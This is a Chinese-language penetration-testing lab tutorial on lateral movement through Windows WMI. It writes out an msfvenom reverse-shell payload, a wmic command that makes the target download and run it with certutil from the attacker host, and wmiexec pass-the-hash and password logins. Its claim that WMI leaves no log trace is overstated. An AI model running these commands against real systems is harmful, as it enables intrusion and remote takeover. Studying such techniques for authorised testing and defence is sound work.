WMI即Windows Management Instrumentation,用于管理正在运行的Windows主机。用户利用WMI可以轻松地与系统各类资源进行交互,如打开指定进程、远程启动计算机、设定指定程序在指定时间运行、查询Windows日志等。我们可以把它当作API来与Windows系统进行相互交流。在渗透测试的过程中,WMI的价值就是不需要下载和安装,因为WMI是Windows系统自带的功能,而且整个运行过程都在计算机内存中进行,操作记录不会在Winodws日志中留存。在前面的内容中对WMI有过介绍,因此不过多讲解原理。
(一)利用WMI进行横向渗透技术详解
WMI即Windows Management Instrumentation,用于管理正在运行的Windows主机。用户利用WMI可以轻松地与系统各类资源进行交互,如打开指定进程、远程启动计算机、设定指定程序在指定时间运行、查询Windows日志等。我们可以把它当作API来与Windows系统进行相互交流。在渗透测试的过程中,WMI的价值就是不需要下载和安装,因为WMI是Windows系统自带的功能,而且整个运行过程都在计算机内存中进行,操作记录不会在Winodws日志中留存。在前面的内容中对WMI有过介绍,因此不过多讲解原理。利用WMI进行横向渗透的拓扑图如图1-1所示,实验环境如表1-1所示。
图1-1 利用WMI进行横向渗透拓扑图
表1-1 利用WMI进行横向渗透实验环境
主机 | 服务类型 | IP地址 |
---|---|---|
Kali 2022 | 攻击机 | 10.10.10.2 |
Windows 2012 R2 | 跳板机 | 10.10.10.3、192.168.1.2 |
Windows 2008 R2 | 核心靶标 | 10.10.10.4、192.168.1.3 |
1.WMIC
WMIC是Windows自带的一款用来管理操作WMI的工具。利用该工具可以针对本机进行信息收集,或者当拥有目标凭据后通过该工具远程查询信息。
1). WMIC本机信息收集
通过WMIC,我们可以查询一些系统的基本信息,如果想要查询系统启动项可以使用命令wmic startup list brief或者wmic startup get command,caption,执行结果如图1-2所示。从图中可以看出两条命令都可以查出系统启动项,只不过一个使用list,另一个使用get。
图1-2 获取系统启动项
如果想要查询当前系统处于运行状态的服务,可以使用wmic service where (state=”running”) get caption, name, startmode命令,执行结果如图1-3所示。
图1-3 查询处于运行状态的服务
如果想要知道当前系统运行什么杀毒软件,可以使用命令wmic /namespace:\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe,执行结果如图1-4所示。
图1-4 获取系统运行杀毒软件
使用命令wmic /namespace:\root\SecurityCenter2 path AntiVirusProduct get * /value,可以进一步获取杀毒软件的详细信息,执行结果如图1-5所示。
图1-5 获取杀毒软件的详细信息
2). WMIC远程获取Shell
在攻击机上执行msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=10090 -f exe > exp.exe命令来生成一个回连攻击机程序,执行结果如图1-6所示。
图1-6 生成回连攻击机程序
为了后续方便目标主机下载回连攻击机程序,我们可以在攻击机中执行python3 -m http.server 8080命令来搭建一个简单的Web服务器,成功开启该服务器后如图1-7所示。
图1-7 搭建Web服务器
在跳板机使用WMIC远程连接目标主机,通过攻击机的Web服务器下载并执行回连攻击机程序,使用命令执行结果如图1-8所示。其中process call create代表创建一个指定进程,这里进程设置为cmd.exe;/c则是cmd.exe的参数,后面用来设置要执行的命令。
代码语言:javascript
复制
wmic /node:10.10.10.4 /user:Administrator /password:Password@123 process call create "cmd.exe /c certutil.exe -urlcache -f -split http://10.10.10.2:8080/exp.exe&&exp.exe"
图1-8 通过WMIC远程执行命令
命令执行成功后,我们将在Web服务器中看到请求,如图1-9所示。而MSF上也将接收到靶标机器的回连,如图1-10所示。
图1-9 Web服务器收到请求
图1-10 成功获取会话
当然,我们也可以通过net use建立IPC$连接的方式,将木马文件复制到目标机器中,随后使用WMIC指定木马路径即可。
2. wmiexec
通过WMIC远程连接去执行命令,命令执行结果将不会回显,但是通过Impacket工具包中的wmiexec.py文件可以获得一个具有交互的shell,使用命令python3 wmiexec.py Administrator:Password@123@10.10.10.4,即可获取到目标的一个交互式会话,如图1-11所示。
图1-11 通过wmiexec进行连接
当然wmiexec不仅能通过账号密码进行登录,还可以通过传递哈希值的方式进行登录。已知10.10.10.4的Administrator用户的哈希为a29f7623fd11550def0192de9246f46b,使用命令python3 wmiexec.py -hashes 00000000000000000000000000000000:a29f7623fd11550def0192de9246f46b Administrator@10.10.10.4进行连接,执行结果如图1-12所示,可以看到成功建立交互式会话。
图1-12 通过用户哈希进行连接
3.wmiexec.vbs
该工具可以让我们得到回显,使用方法为cscript wmiexec.vbs /cmd 10.10.10.4 Administrator Password@123 whoami,执行结果如图1-13所示。
图1-13 wmiexec.vbs远程执行命令
4.WMICHACKER
WMI是通过135端口建立连接的,WMIEXEC为了使命令进行回显,会将命令执行结果写入文本中,随后通过445端口去查看文本内容,而WMICHACKER可以不通过445端口达到命令回显的效果。对此,使用命令cscript WMIHACKER_0.6.vbs /cmd 10.10.10.4 Administrator "Password@123" whoami 1,执行结果如图1-14所示。
图1-14 WMICHACKER执行命令
(二)本篇总结
本文介绍了利用WMI进行横向渗透的方法。WMI是Windows系统自带的功能,用于管理正在运行的Windows主机。通过WMIC工具可以获取系统信息,如启动项、运行状态服务、杀毒软件等。攻击者可以利用WMIC远程获取Shell,通过攻击机搭建Web服务器下载并执行回连攻击机程序。此外,还可以使用wmiexec.py工具获取交互式会话,通过传递哈希值进行登录。wmiexec.vbs工具可以让我们得到回显,而WMICHACKER工具可以不通过445端口达到命令回显的效果。